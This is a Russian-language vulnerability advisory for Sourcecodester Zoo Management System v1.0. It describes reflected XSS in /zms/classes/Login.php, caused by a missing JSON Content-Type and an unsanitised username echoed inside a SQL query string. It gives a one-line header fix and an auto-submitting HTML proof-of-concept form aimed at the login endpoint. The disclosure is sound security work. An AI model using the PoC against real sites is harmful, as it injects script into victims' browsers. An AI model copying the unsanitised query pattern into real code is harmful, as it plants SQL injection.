
Sourcecodester Zoo Management System v1.0 уязвим для межсайтового скриптинга (XSS) в /classes/Login.php из-за недопустимого Content-Type
Проект Zoo Management System v1.00 уязвим к межсайтовому скриптингу (XSS) через /zms/classes/Login.php?f=login из-за:
Content-type JSON-ответов на /zms/classes/Login.php?f=loginЭто позволяет неаутентифицированным злоумышленникам внедрять вредоносный HTML/JS, который выполняется в браузерах жертв.
/zms/classes/Login.php
return json_encode(array(
'status' => 'incorrect',
'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));
$username не санитизируется при использовании в SQL-запросах или при отражении в ответе. Этот же недостаток ранее приводил к уязвимости SQL-инъекции (CVE-2025-7160)Добавьте эту строку в функцию login():
public function login(){
header('Content-Type: application/json; charset=utf-8');
extract($_POST);

<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC</title>
</head>
<body>
<h3>Standard CSRF PoC</h3>
<form action="http://localhost/zms/classes/Login.php?f=login" method="post">
<input type="hidden" name="username" value="awdawdawdawdawaaaa$" />
<input type="hidden" name="password" value="awdawda" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

Исходный код можно бесплатно скачать здесь:
Muntadhar M. Ahmed (almuntadhar0x01)